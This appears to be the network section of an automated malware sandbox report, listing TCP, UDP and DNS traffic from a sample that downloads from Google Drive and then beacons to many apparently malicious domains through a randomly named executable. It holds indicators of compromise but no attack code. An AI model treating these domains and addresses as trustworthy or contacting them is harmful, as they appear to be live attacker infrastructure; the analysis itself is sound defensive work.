Jun 4, 2024 14:22:32.399785995 CEST	49909	80	192.168.11.30	66.81.203.196
Jun 4, 2024 14:22:32.562803984 CEST	80	49909	66.81.203.196	192.168.11.30
Jun 4, 2024 14:22:32.563047886 CEST	49909	80	192.168.11.30	66.81.203.196
Jun 4, 2024 14:22:32.565224886 CEST	49909	80	192.168.11.30	66.81.203.196
Jun 4, 2024 14:22:32.728458881 CEST	80	49909	66.81.203.196	192.168.11.30
Jun 4, 2024 14:22:32.728575945 CEST	80	49909	66.81.203.196	192.168.11.30
Jun 4, 2024 14:22:32.728588104 CEST	80	49909	66.81.203.196	192.168.11.30
Jun 4, 2024 14:22:32.728723049 CEST	49909	80	192.168.11.30	66.81.203.196
Jun 4, 2024 14:22:34.068507910 CEST	49909	80	192.168.11.30	66.81.203.196
Jun 4, 2024 14:22:35.086530924 CEST	49910	80	192.168.11.30	66.81.203.196
Jun 4, 2024 14:22:35.244723082 CEST	80	49910	66.81.203.196	192.168.11.30
Jun 4, 2024 14:22:35.244968891 CEST	49910	80	192.168.11.30	66.81.203.196
Jun 4, 2024 14:22:35.246881962 CEST	49910	80	192.168.11.30	66.81.203.196
Jun 4, 2024 14:22:35.404983044 CEST	80	49910	66.81.203.196	192.168.11.30
Jun 4, 2024 14:22:35.405052900 CEST	80	49910	66.81.203.196	192.168.11.30
Jun 4, 2024 14:22:35.405101061 CEST	80	49910	66.81.203.196	192.168.11.30
Jun 4, 2024 14:22:35.405461073 CEST	49910	80	192.168.11.30	66.81.203.196
Jun 4, 2024 14:22:35.407886982 CEST	49910	80	192.168.11.30	66.81.203.196
Jun 4, 2024 14:22:35.565886021 CEST	80	49910	66.81.203.196	192.168.11.30
Jun 4, 2024 14:22:40.413825035 CEST	49911	80	192.168.11.30	162.43.104.164
Jun 4, 2024 14:22:40.713172913 CEST	80	49911	162.43.104.164	192.168.11.30
Jun 4, 2024 14:22:40.713468075 CEST	49911	80	192.168.11.30	162.43.104.164
Jun 4, 2024 14:22:40.716788054 CEST	49911	80	192.168.11.30	162.43.104.164
Jun 4, 2024 14:22:41.019643068 CEST	80	49911	162.43.104.164	192.168.11.30
Jun 4, 2024 14:22:41.019733906 CEST	80	49911	162.43.104.164	192.168.11.30
Jun 4, 2024 14:22:41.019752979 CEST	80	49911	162.43.104.164	192.168.11.30
Jun 4, 2024 14:22:41.019803047 CEST	80	49911	162.43.104.164	192.168.11.30
Jun 4, 2024 14:22:41.019934893 CEST	49911	80	192.168.11.30	162.43.104.164
Jun 4, 2024 14:22:42.222929001 CEST	49911	80	192.168.11.30	162.43.104.164
Jun 4, 2024 14:22:43.240941048 CEST	49912	80	192.168.11.30	162.43.104.164
Jun 4, 2024 14:22:43.516621113 CEST	80	49912	162.43.104.164	192.168.11.30
Jun 4, 2024 14:22:43.516819954 CEST	49912	80	192.168.11.30	162.43.104.164
Jun 4, 2024 14:22:43.518687010 CEST	49912	80	192.168.11.30	162.43.104.164
Jun 4, 2024 14:22:43.794315100 CEST	80	49912	162.43.104.164	192.168.11.30
Jun 4, 2024 14:22:43.795527935 CEST	80	49912	162.43.104.164	192.168.11.30
Jun 4, 2024 14:22:43.795547009 CEST	80	49912	162.43.104.164	192.168.11.30
Jun 4, 2024 14:22:43.795563936 CEST	80	49912	162.43.104.164	192.168.11.30
Jun 4, 2024 14:22:43.795753002 CEST	49912	80	192.168.11.30	162.43.104.164
Jun 4, 2024 14:22:45.628554106 CEST	49912	80	192.168.11.30	162.43.104.164
Jun 4, 2024 14:22:46.646806002 CEST	49913	80	192.168.11.30	162.43.104.164
Jun 4, 2024 14:22:46.954741001 CEST	80	49913	162.43.104.164	192.168.11.30
Jun 4, 2024 14:22:46.954926014 CEST	49913	80	192.168.11.30	162.43.104.164
Jun 4, 2024 14:22:46.956729889 CEST	49913	80	192.168.11.30	162.43.104.164
Jun 4, 2024 14:22:47.264581919 CEST	80	49913	162.43.104.164	192.168.11.30
Jun 4, 2024 14:22:47.265578985 CEST	80	49913	162.43.104.164	192.168.11.30
Jun 4, 2024 14:22:47.265599966 CEST	80	49913	162.43.104.164	192.168.11.30
Jun 4, 2024 14:22:47.265616894 CEST	80	49913	162.43.104.164	192.168.11.30
Jun 4, 2024 14:22:47.265768051 CEST	49913	80	192.168.11.30	162.43.104.164
Jun 4, 2024 14:22:48.471514940 CEST	49913	80	192.168.11.30	162.43.104.164
Jun 4, 2024 14:22:49.489120960 CEST	49914	80	192.168.11.30	162.43.104.164
Jun 4, 2024 14:22:49.762902975 CEST	80	49914	162.43.104.164	192.168.11.30
Jun 4, 2024 14:22:49.763104916 CEST	49914	80	192.168.11.30	162.43.104.164
Jun 4, 2024 14:22:49.764624119 CEST	49914	80	192.168.11.30	162.43.104.164
Jun 4, 2024 14:22:50.038288116 CEST	80	49914	162.43.104.164	192.168.11.30
Jun 4, 2024 14:22:50.039150953 CEST	80	49914	162.43.104.164	192.168.11.30
Jun 4, 2024 14:22:50.039277077 CEST	80	49914	162.43.104.164	192.168.11.30
Jun 4, 2024 14:22:50.039295912 CEST	80	49914	162.43.104.164	192.168.11.30
Jun 4, 2024 14:22:50.039308071 CEST	80	49914	162.43.104.164	192.168.11.30
Jun 4, 2024 14:22:50.039547920 CEST	49914	80	192.168.11.30	162.43.104.164
Jun 4, 2024 14:22:50.043457031 CEST	49914	80	192.168.11.30	162.43.104.164
Jun 4, 2024 14:22:50.316957951 CEST	80	49914	162.43.104.164	192.168.11.30
Jun 4, 2024 14:23:03.251853943 CEST	49915	80	192.168.11.30	93.125.99.134
Jun 4, 2024 14:23:03.497581959 CEST	80	49915	93.125.99.134	192.168.11.30
Jun 4, 2024 14:23:03.497733116 CEST	49915	80	192.168.11.30	93.125.99.134
Jun 4, 2024 14:23:03.499651909 CEST	49915	80	192.168.11.30	93.125.99.134
Jun 4, 2024 14:23:03.745381117 CEST	80	49915	93.125.99.134	192.168.11.30
Jun 4, 2024 14:23:04.067943096 CEST	80	49915	93.125.99.134	192.168.11.30
Jun 4, 2024 14:23:04.067985058 CEST	80	49915	93.125.99.134	192.168.11.30
Jun 4, 2024 14:23:04.068133116 CEST	49915	80	192.168.11.30	93.125.99.134
Jun 4, 2024 14:23:04.068135023 CEST	80	49915	93.125.99.134	192.168.11.30
Jun 4, 2024 14:23:04.068185091 CEST	80	49915	93.125.99.134	192.168.11.30
Jun 4, 2024 14:23:04.068300009 CEST	80	49915	93.125.99.134	192.168.11.30
Jun 4, 2024 14:23:04.068320990 CEST	80	49915	93.125.99.134	192.168.11.30
Jun 4, 2024 14:23:04.068341970 CEST	49915	80	192.168.11.30	93.125.99.134
Jun 4, 2024 14:23:04.068348885 CEST	80	49915	93.125.99.134	192.168.11.30
Jun 4, 2024 14:23:04.068368912 CEST	80	49915	93.125.99.134	192.168.11.30
Jun 4, 2024 14:23:04.068387032 CEST	80	49915	93.125.99.134	192.168.11.30
Jun 4, 2024 14:23:04.068496943 CEST	49915	80	192.168.11.30	93.125.99.134
Jun 4, 2024 14:23:04.068516016 CEST	80	49915	93.125.99.134	192.168.11.30
Jun 4, 2024 14:23:04.068536997 CEST	80	49915	93.125.99.134	192.168.11.30
Jun 4, 2024 14:23:04.068670034 CEST	49915	80	192.168.11.30	93.125.99.134
Jun 4, 2024 14:23:04.068670034 CEST	49915	80	192.168.11.30	93.125.99.134
Jun 4, 2024 14:23:05.014746904 CEST	49915	80	192.168.11.30	93.125.99.134
Jun 4, 2024 14:23:06.032761097 CEST	49916	80	192.168.11.30	93.125.99.134
Jun 4, 2024 14:23:06.286237955 CEST	80	49916	93.125.99.134	192.168.11.30
Jun 4, 2024 14:23:06.286488056 CEST	49916	80	192.168.11.30	93.125.99.134
Jun 4, 2024 14:23:06.288086891 CEST	49916	80	192.168.11.30	93.125.99.134
Jun 4, 2024 14:23:06.541466951 CEST	80	49916	93.125.99.134	192.168.11.30
Jun 4, 2024 14:23:06.860879898 CEST	80	49916	93.125.99.134	192.168.11.30
Jun 4, 2024 14:23:06.861012936 CEST	80	49916	93.125.99.134	192.168.11.30
Jun 4, 2024 14:23:06.861027956 CEST	80	49916	93.125.99.134	192.168.11.30
Jun 4, 2024 14:23:06.861057043 CEST	80	49916	93.125.99.134	192.168.11.30
Jun 4, 2024 14:23:06.861152887 CEST	49916	80	192.168.11.30	93.125.99.134
Jun 4, 2024 14:23:06.861170053 CEST	80	49916	93.125.99.134	192.168.11.30
Jun 4, 2024 14:23:06.861196041 CEST	80	49916	93.125.99.134	192.168.11.30
Jun 4, 2024 14:23:06.861208916 CEST	49916	80	192.168.11.30	93.125.99.134
Jun 4, 2024 14:23:06.861237049 CEST	80	49916	93.125.99.134	192.168.11.30
Jun 4, 2024 14:23:06.861248970 CEST	80	49916	93.125.99.134	192.168.11.30
Jun 4, 2024 14:23:06.861298084 CEST	80	49916	93.125.99.134	192.168.11.30
Jun 4, 2024 14:23:06.861366987 CEST	49916	80	192.168.11.30	93.125.99.134
Jun 4, 2024 14:23:06.861440897 CEST	49916	80	192.168.11.30	93.125.99.134
Jun 4, 2024 14:23:06.861452103 CEST	80	49916	93.125.99.134	192.168.11.30
Jun 4, 2024 14:23:06.861591101 CEST	80	49916	93.125.99.134	192.168.11.30
Jun 4, 2024 14:23:06.861670971 CEST	49916	80	192.168.11.30	93.125.99.134
Jun 4, 2024 14:23:06.861762047 CEST	49916	80	192.168.11.30	93.125.99.134
Jun 4, 2024 14:23:07.795300007 CEST	49916	80	192.168.11.30	93.125.99.134
Jun 4, 2024 14:23:08.813471079 CEST	49917	80	192.168.11.30	93.125.99.134
Jun 4, 2024 14:23:09.059305906 CEST	80	49917	93.125.99.134	192.168.11.30
Jun 4, 2024 14:23:09.059539080 CEST	49917	80	192.168.11.30	93.125.99.134
Jun 4, 2024 14:23:09.061326981 CEST	49917	80	192.168.11.30	93.125.99.134
Jun 4, 2024 14:23:09.307158947 CEST	80	49917	93.125.99.134	192.168.11.30
Jun 4, 2024 14:23:09.307178020 CEST	80	49917	93.125.99.134	192.168.11.30
Jun 4, 2024 14:23:09.707195044 CEST	80	49917	93.125.99.134	192.168.11.30
Jun 4, 2024 14:23:09.707231998 CEST	80	49917	93.125.99.134	192.168.11.30
Jun 4, 2024 14:23:09.707259893 CEST	80	49917	93.125.99.134	192.168.11.30
Jun 4, 2024 14:23:09.707360029 CEST	80	49917	93.125.99.134	192.168.11.30
Jun 4, 2024 14:23:09.707417011 CEST	49917	80	192.168.11.30	93.125.99.134
Jun 4, 2024 14:23:09.707514048 CEST	80	49917	93.125.99.134	192.168.11.30
Jun 4, 2024 14:23:09.707526922 CEST	80	49917	93.125.99.134	192.168.11.30
Jun 4, 2024 14:23:09.707537889 CEST	80	49917	93.125.99.134	192.168.11.30
Jun 4, 2024 14:23:09.707550049 CEST	80	49917	93.125.99.134	192.168.11.30
Jun 4, 2024 14:23:09.707612038 CEST	49917	80	192.168.11.30	93.125.99.134
Jun 4, 2024 14:23:09.707652092 CEST	80	49917	93.125.99.134	192.168.11.30
Jun 4, 2024 14:23:09.707653046 CEST	49917	80	192.168.11.30	93.125.99.134
Jun 4, 2024 14:23:09.707655907 CEST	80	49917	93.125.99.134	192.168.11.30
Jun 4, 2024 14:23:09.707665920 CEST	80	49917	93.125.99.134	192.168.11.30
Jun 4, 2024 14:23:09.707777023 CEST	49917	80	192.168.11.30	93.125.99.134
Jun 4, 2024 14:23:09.707876921 CEST	49917	80	192.168.11.30	93.125.99.134
Jun 4, 2024 14:23:10.576097965 CEST	49917	80	192.168.11.30	93.125.99.134
Jun 4, 2024 14:23:11.593972921 CEST	49918	80	192.168.11.30	93.125.99.134
Jun 4, 2024 14:23:11.839572906 CEST	80	49918	93.125.99.134	192.168.11.30
Jun 4, 2024 14:23:11.839760065 CEST	49918	80	192.168.11.30	93.125.99.134
Jun 4, 2024 14:23:11.841664076 CEST	49918	80	192.168.11.30	93.125.99.134
Jun 4, 2024 14:23:12.087210894 CEST	80	49918	93.125.99.134	192.168.11.30
Jun 4, 2024 14:23:12.088104010 CEST	80	49918	93.125.99.134	192.168.11.30
Jun 4, 2024 14:23:12.088124990 CEST	80	49918	93.125.99.134	192.168.11.30
Jun 4, 2024 14:23:12.088426113 CEST	49918	80	192.168.11.30	93.125.99.134
Jun 4, 2024 14:23:12.090837955 CEST	49918	80	192.168.11.30	93.125.99.134
Jun 4, 2024 14:23:12.336369991 CEST	80	49918	93.125.99.134	192.168.11.30
Jun 4, 2024 14:23:17.109064102 CEST	49919	80	192.168.11.30	34.232.203.70
Jun 4, 2024 14:23:17.240958929 CEST	80	49919	34.232.203.70	192.168.11.30
Jun 4, 2024 14:23:17.241251945 CEST	49919	80	192.168.11.30	34.232.203.70
Jun 4, 2024 14:23:17.243041039 CEST	49919	80	192.168.11.30	34.232.203.70
Jun 4, 2024 14:23:17.374833107 CEST	80	49919	34.232.203.70	192.168.11.30
Jun 4, 2024 14:23:17.376660109 CEST	80	49919	34.232.203.70	192.168.11.30
Jun 4, 2024 14:23:17.376760960 CEST	80	49919	34.232.203.70	192.168.11.30
Jun 4, 2024 14:23:17.376822948 CEST	80	49919	34.232.203.70	192.168.11.30
Jun 4, 2024 14:23:17.376856089 CEST	80	49919	34.232.203.70	192.168.11.30
Jun 4, 2024 14:23:17.376878977 CEST	80	49919	34.232.203.70	192.168.11.30
Jun 4, 2024 14:23:17.376913071 CEST	80	49919	34.232.203.70	192.168.11.30
Jun 4, 2024 14:23:17.376934052 CEST	80	49919	34.232.203.70	192.168.11.30
Jun 4, 2024 14:23:17.376935959 CEST	49919	80	192.168.11.30	34.232.203.70
Jun 4, 2024 14:23:17.376935959 CEST	49919	80	192.168.11.30	34.232.203.70
Jun 4, 2024 14:23:17.376955032 CEST	80	49919	34.232.203.70	192.168.11.30
Jun 4, 2024 14:23:17.376985073 CEST	80	49919	34.232.203.70	192.168.11.30
Jun 4, 2024 14:23:17.377007961 CEST	80	49919	34.232.203.70	192.168.11.30
Jun 4, 2024 14:23:17.377033949 CEST	49919	80	192.168.11.30	34.232.203.70
Jun 4, 2024 14:23:17.377090931 CEST	49919	80	192.168.11.30	34.232.203.70
Jun 4, 2024 14:23:17.377187967 CEST	49919	80	192.168.11.30	34.232.203.70
Jun 4, 2024 14:23:18.746007919 CEST	49919	80	192.168.11.30	34.232.203.70
Jun 4, 2024 14:23:19.764302969 CEST	49920	80	192.168.11.30	34.232.203.70
Jun 4, 2024 14:23:19.896280050 CEST	80	49920	34.232.203.70	192.168.11.30
Jun 4, 2024 14:23:19.896492958 CEST	49920	80	192.168.11.30	34.232.203.70
Jun 4, 2024 14:23:19.898196936 CEST	49920	80	192.168.11.30	34.232.203.70
Jun 4, 2024 14:23:20.030021906 CEST	80	49920	34.232.203.70	192.168.11.30
Jun 4, 2024 14:23:20.031656027 CEST	80	49920	34.232.203.70	192.168.11.30
Jun 4, 2024 14:23:20.031694889 CEST	80	49920	34.232.203.70	192.168.11.30
Jun 4, 2024 14:23:20.031754971 CEST	80	49920	34.232.203.70	192.168.11.30
Jun 4, 2024 14:23:20.031815052 CEST	80	49920	34.232.203.70	192.168.11.30
Jun 4, 2024 14:23:20.031835079 CEST	80	49920	34.232.203.70	192.168.11.30
Jun 4, 2024 14:23:20.031853914 CEST	80	49920	34.232.203.70	192.168.11.30
Jun 4, 2024 14:23:20.031873941 CEST	80	49920	34.232.203.70	192.168.11.30
Jun 4, 2024 14:23:20.031877995 CEST	49920	80	192.168.11.30	34.232.203.70
Jun 4, 2024 14:23:20.031894922 CEST	80	49920	34.232.203.70	192.168.11.30
Jun 4, 2024 14:23:20.031914949 CEST	80	49920	34.232.203.70	192.168.11.30
Jun 4, 2024 14:23:20.031936884 CEST	80	49920	34.232.203.70	192.168.11.30
Jun 4, 2024 14:23:20.031980991 CEST	49920	80	192.168.11.30	34.232.203.70
Jun 4, 2024 14:23:20.032078028 CEST	49920	80	192.168.11.30	34.232.203.70
Jun 4, 2024 14:23:21.401711941 CEST	49920	80	192.168.11.30	34.232.203.70

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jun 4, 2024 14:14:44.312383890 CEST	51340	53	192.168.11.30	1.1.1.1
Jun 4, 2024 14:14:44.448549986 CEST	53	51340	1.1.1.1	192.168.11.30
Jun 4, 2024 14:14:45.102452040 CEST	63657	53	192.168.11.30	1.1.1.1
Jun 4, 2024 14:14:45.221622944 CEST	53	63657	1.1.1.1	192.168.11.30
Jun 4, 2024 14:15:11.504376888 CEST	65171	53	192.168.11.30	1.1.1.1
Jun 4, 2024 14:15:11.812799931 CEST	53	65171	1.1.1.1	192.168.11.30
Jun 4, 2024 14:15:27.341855049 CEST	58347	53	192.168.11.30	1.1.1.1
Jun 4, 2024 14:15:27.484736919 CEST	53	58347	1.1.1.1	192.168.11.30
Jun 4, 2024 14:15:41.553247929 CEST	58555	53	192.168.11.30	1.1.1.1
Jun 4, 2024 14:15:41.755414009 CEST	53	58555	1.1.1.1	192.168.11.30
Jun 4, 2024 14:15:55.253355026 CEST	53179	53	192.168.11.30	1.1.1.1
Jun 4, 2024 14:15:55.439812899 CEST	53	53179	1.1.1.1	192.168.11.30
Jun 4, 2024 14:16:09.173129082 CEST	60687	53	192.168.11.30	1.1.1.1
Jun 4, 2024 14:16:10.185338020 CEST	60687	53	192.168.11.30	9.9.9.9
Jun 4, 2024 14:16:10.480017900 CEST	53	60687	1.1.1.1	192.168.11.30
Jun 4, 2024 14:16:10.552642107 CEST	53	60687	9.9.9.9	192.168.11.30
Jun 4, 2024 14:17:42.843122005 CEST	58482	53	192.168.11.30	1.1.1.1
Jun 4, 2024 14:17:43.239758968 CEST	53	58482	1.1.1.1	192.168.11.30
Jun 4, 2024 14:18:01.664026976 CEST	61501	53	192.168.11.30	1.1.1.1
Jun 4, 2024 14:18:02.204690933 CEST	53	61501	1.1.1.1	192.168.11.30
Jun 4, 2024 14:18:16.285159111 CEST	52472	53	192.168.11.30	1.1.1.1
Jun 4, 2024 14:18:16.420972109 CEST	53	52472	1.1.1.1	192.168.11.30
Jun 4, 2024 14:18:24.474251986 CEST	58893	53	192.168.11.30	1.1.1.1
Jun 4, 2024 14:18:25.483484983 CEST	58893	53	192.168.11.30	9.9.9.9
Jun 4, 2024 14:18:25.849226952 CEST	53	58893	9.9.9.9	192.168.11.30
Jun 4, 2024 14:18:26.475804090 CEST	53	58893	1.1.1.1	192.168.11.30
Jun 4, 2024 14:18:39.811781883 CEST	59556	53	192.168.11.30	9.9.9.9
Jun 4, 2024 14:18:39.989677906 CEST	53	59556	9.9.9.9	192.168.11.30
Jun 4, 2024 14:18:53.246117115 CEST	54120	53	192.168.11.30	9.9.9.9
Jun 4, 2024 14:18:53.380063057 CEST	53	54120	9.9.9.9	192.168.11.30
Jun 4, 2024 14:19:07.414474010 CEST	57590	53	192.168.11.30	9.9.9.9
Jun 4, 2024 14:19:07.567127943 CEST	53	57590	9.9.9.9	192.168.11.30
Jun 4, 2024 14:19:21.270912886 CEST	51955	53	192.168.11.30	9.9.9.9
Jun 4, 2024 14:19:21.394455910 CEST	53	51955	9.9.9.9	192.168.11.30
Jun 4, 2024 14:19:29.456700087 CEST	59253	53	192.168.11.30	9.9.9.9
Jun 4, 2024 14:19:29.608365059 CEST	53	59253	9.9.9.9	192.168.11.30
Jun 4, 2024 14:19:37.673245907 CEST	56557	53	192.168.11.30	9.9.9.9
Jun 4, 2024 14:19:37.881947041 CEST	53	56557	9.9.9.9	192.168.11.30
Jun 4, 2024 14:19:51.623375893 CEST	57592	53	192.168.11.30	9.9.9.9
Jun 4, 2024 14:19:51.814904928 CEST	53	57592	9.9.9.9	192.168.11.30
Jun 4, 2024 14:22:55.049639940 CEST	65059	53	192.168.11.30	9.9.9.9
Jun 4, 2024 14:22:55.189209938 CEST	53	65059	9.9.9.9	192.168.11.30

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jun 4, 2024 14:14:44.312383890 CEST	192.168.11.30	1.1.1.1	0x7c35	Standard query (0)	drive.google.com	A (IP address)	IN (0x0001)	false
Jun 4, 2024 14:14:45.102452040 CEST	192.168.11.30	1.1.1.1	0x655b	Standard query (0)	drive.usercontent.google.com	A (IP address)	IN (0x0001)	false
Jun 4, 2024 14:15:11.504376888 CEST	192.168.11.30	1.1.1.1	0xc7fa	Standard query (0)	www.respirelavie.net	A (IP address)	IN (0x0001)	false
Jun 4, 2024 14:15:27.341855049 CEST	192.168.11.30	1.1.1.1	0xc8d5	Standard query (0)	www.airportsurvery.com	A (IP address)	IN (0x0001)	false
Jun 4, 2024 14:15:41.553247929 CEST	192.168.11.30	1.1.1.1	0x13ef	Standard query (0)	www.innovtech.life	A (IP address)	IN (0x0001)	false
Jun 4, 2024 14:15:55.253355026 CEST	192.168.11.30	1.1.1.1	0x3e08	Standard query (0)	www.k4ryd.us	A (IP address)	IN (0x0001)	false
Jun 4, 2024 14:16:09.173129082 CEST	192.168.11.30	1.1.1.1	0x9d8c	Standard query (0)	www.auetravel.kz	A (IP address)	IN (0x0001)	false
Jun 4, 2024 14:16:10.185338020 CEST	192.168.11.30	9.9.9.9	0x9d8c	Standard query (0)	www.auetravel.kz	A (IP address)	IN (0x0001)	false
Jun 4, 2024 14:17:42.843122005 CEST	192.168.11.30	1.1.1.1	0x5ff9	Standard query (0)	www.accentbathrooms.com	A (IP address)	IN (0x0001)	false
Jun 4, 2024 14:18:01.664026976 CEST	192.168.11.30	1.1.1.1	0xf0df	Standard query (0)	www.shun-yamagata.com	A (IP address)	IN (0x0001)	false
Jun 4, 2024 14:18:16.285159111 CEST	192.168.11.30	1.1.1.1	0x66ef	Standard query (0)	www.donumul.com	A (IP address)	IN (0x0001)	false
Jun 4, 2024 14:18:24.474251986 CEST	192.168.11.30	1.1.1.1	0xddcb	Standard query (0)	www.brongal.by	A (IP address)	IN (0x0001)	false
Jun 4, 2024 14:18:25.483484983 CEST	192.168.11.30	9.9.9.9	0xddcb	Standard query (0)	www.brongal.by	A (IP address)	IN (0x0001)	false
Jun 4, 2024 14:18:39.811781883 CEST	192.168.11.30	9.9.9.9	0x2fa7	Standard query (0)	www.jdps.org	A (IP address)	IN (0x0001)	false
Jun 4, 2024 14:18:53.246117115 CEST	192.168.11.30	9.9.9.9	0xfa77	Standard query (0)	www.belgravevilla.com	A (IP address)	IN (0x0001)	false
Jun 4, 2024 14:19:07.414474010 CEST	192.168.11.30	9.9.9.9	0xbb6c	Standard query (0)	www.insist.site	A (IP address)	IN (0x0001)	false
Jun 4, 2024 14:19:21.270912886 CEST	192.168.11.30	9.9.9.9	0xa3ed	Standard query (0)	www.runonbattery.com	A (IP address)	IN (0x0001)	false
Jun 4, 2024 14:19:29.456700087 CEST	192.168.11.30	9.9.9.9	0x833b	Standard query (0)	www.nemeanshop.com	A (IP address)	IN (0x0001)	false
Jun 4, 2024 14:19:37.673245907 CEST	192.168.11.30	9.9.9.9	0x1874	Standard query (0)	www.nurenose.com	A (IP address)	IN (0x0001)	false
Jun 4, 2024 14:19:51.623375893 CEST	192.168.11.30	9.9.9.9	0x17ed	Standard query (0)	www.cd14j.us	A (IP address)	IN (0x0001)	false
Jun 4, 2024 14:22:55.049639940 CEST	192.168.11.30	9.9.9.9	0xef91	Standard query (0)	www.donumul.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jun 4, 2024 14:14:44.448549986 CEST	1.1.1.1	192.168.11.30	0x7c35	No error (0)	drive.google.com		142.250.217.174	A (IP address)	IN (0x0001)	false
Jun 4, 2024 14:14:45.221622944 CEST	1.1.1.1	192.168.11.30	0x655b	No error (0)	drive.usercontent.google.com		172.217.215.132	A (IP address)	IN (0x0001)	false
Jun 4, 2024 14:15:11.812799931 CEST	1.1.1.1	192.168.11.30	0xc7fa	No error (0)	www.respirelavie.net	respirelavie.net		CNAME (Canonical name)	IN (0x0001)	false
Jun 4, 2024 14:15:11.812799931 CEST	1.1.1.1	192.168.11.30	0xc7fa	No error (0)	respirelavie.net		192.3.27.169	A (IP address)	IN (0x0001)	false
Jun 4, 2024 14:15:27.484736919 CEST	1.1.1.1	192.168.11.30	0xc8d5	No error (0)	www.airportsurvery.com		173.232.18.161	A (IP address)	IN (0x0001)	false
Jun 4, 2024 14:15:41.755414009 CEST	1.1.1.1	192.168.11.30	0x13ef	No error (0)	www.innovtech.life		203.161.49.193	A (IP address)	IN (0x0001)	false
Jun 4, 2024 14:15:55.439812899 CEST	1.1.1.1	192.168.11.30	0x3e08	No error (0)	www.k4ryd.us		91.195.240.123	A (IP address)	IN (0x0001)	false
Jun 4, 2024 14:16:10.480017900 CEST	1.1.1.1	192.168.11.30	0x9d8c	No error (0)	www.auetravel.kz		89.35.125.17	A (IP address)	IN (0x0001)	false
Jun 4, 2024 14:16:10.552642107 CEST	9.9.9.9	192.168.11.30	0x9d8c	No error (0)	www.auetravel.kz		89.35.125.17	A (IP address)	IN (0x0001)	false
Jun 4, 2024 14:17:43.239758968 CEST	1.1.1.1	192.168.11.30	0x5ff9	No error (0)	www.accentbathrooms.com		66.81.203.196	A (IP address)	IN (0x0001)	false
Jun 4, 2024 14:18:02.204690933 CEST	1.1.1.1	192.168.11.30	0xf0df	No error (0)	www.shun-yamagata.com		162.43.104.164	A (IP address)	IN (0x0001)	false
Jun 4, 2024 14:18:16.420972109 CEST	1.1.1.1	192.168.11.30	0x66ef	Name error (3)	www.donumul.com	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 14:18:25.849226952 CEST	9.9.9.9	192.168.11.30	0xddcb	No error (0)	www.brongal.by	brongal.by		CNAME (Canonical name)	IN (0x0001)	false
Jun 4, 2024 14:18:25.849226952 CEST	9.9.9.9	192.168.11.30	0xddcb	No error (0)	brongal.by		93.125.99.134	A (IP address)	IN (0x0001)	false
Jun 4, 2024 14:18:26.475804090 CEST	1.1.1.1	192.168.11.30	0xddcb	No error (0)	www.brongal.by	brongal.by		CNAME (Canonical name)	IN (0x0001)	false
Jun 4, 2024 14:18:26.475804090 CEST	1.1.1.1	192.168.11.30	0xddcb	No error (0)	brongal.by		93.125.99.134	A (IP address)	IN (0x0001)	false
Jun 4, 2024 14:18:39.989677906 CEST	9.9.9.9	192.168.11.30	0x2fa7	No error (0)	www.jdps.org	comingsoon.namebright.com		CNAME (Canonical name)	IN (0x0001)	false
Jun 4, 2024 14:18:39.989677906 CEST	9.9.9.9	192.168.11.30	0x2fa7	No error (0)	comingsoon.namebright.com	cdl-lb-1356093980.us-east-1.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Jun 4, 2024 14:18:39.989677906 CEST	9.9.9.9	192.168.11.30	0x2fa7	No error (0)	cdl-lb-1356093980.us-east-1.elb.amazonaws.com		34.232.203.70	A (IP address)	IN (0x0001)	false
Jun 4, 2024 14:18:39.989677906 CEST	9.9.9.9	192.168.11.30	0x2fa7	No error (0)	cdl-lb-1356093980.us-east-1.elb.amazonaws.com		34.231.96.3	A (IP address)	IN (0x0001)	false
Jun 4, 2024 14:18:53.380063057 CEST	9.9.9.9	192.168.11.30	0xfa77	No error (0)	www.belgravevilla.com	belgravevilla.com		CNAME (Canonical name)	IN (0x0001)	false
Jun 4, 2024 14:18:53.380063057 CEST	9.9.9.9	192.168.11.30	0xfa77	No error (0)	belgravevilla.com		92.205.8.26	A (IP address)	IN (0x0001)	false
Jun 4, 2024 14:19:07.567127943 CEST	9.9.9.9	192.168.11.30	0xbb6c	No error (0)	www.insist.site		3.64.163.50	A (IP address)	IN (0x0001)	false
Jun 4, 2024 14:19:21.394455910 CEST	9.9.9.9	192.168.11.30	0xa3ed	Name error (3)	www.runonbattery.com	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 14:19:29.608365059 CEST	9.9.9.9	192.168.11.30	0x833b	Name error (3)	www.nemeanshop.com	none	none	A (IP address)	IN (0x0001)	false
Jun 4, 2024 14:19:37.881947041 CEST	9.9.9.9	192.168.11.30	0x1874	No error (0)	www.nurenose.com	parkingpage.namecheap.com		CNAME (Canonical name)	IN (0x0001)	false
Jun 4, 2024 14:19:37.881947041 CEST	9.9.9.9	192.168.11.30	0x1874	No error (0)	parkingpage.namecheap.com		91.195.240.19	A (IP address)	IN (0x0001)	false
Jun 4, 2024 14:19:51.814904928 CEST	9.9.9.9	192.168.11.30	0x17ed	No error (0)	www.cd14j.us		91.195.240.123	A (IP address)	IN (0x0001)	false
Jun 4, 2024 14:22:55.189209938 CEST	9.9.9.9	192.168.11.30	0xef91	Name error (3)	www.donumul.com	none	none	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

drive.google.com

drive.usercontent.google.com

www.respirelavie.net

www.airportsurvery.com

www.innovtech.life

www.k4ryd.us

www.accentbathrooms.com

www.shun-yamagata.com

www.brongal.by

www.jdps.org

www.belgravevilla.com

www.insist.site

www.nurenose.com

www.cd14j.us

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.11.30	49845	192.3.27.169	80	2980	C:\Program Files (x86)\vkkmQgeVChFWDAaYJODeNaycsAxpfdiaHFspXdJfCmTsgExhz\SLePhgUCFUcrYZVod.exe

Timestamp	Bytes transferred	Direction	Data
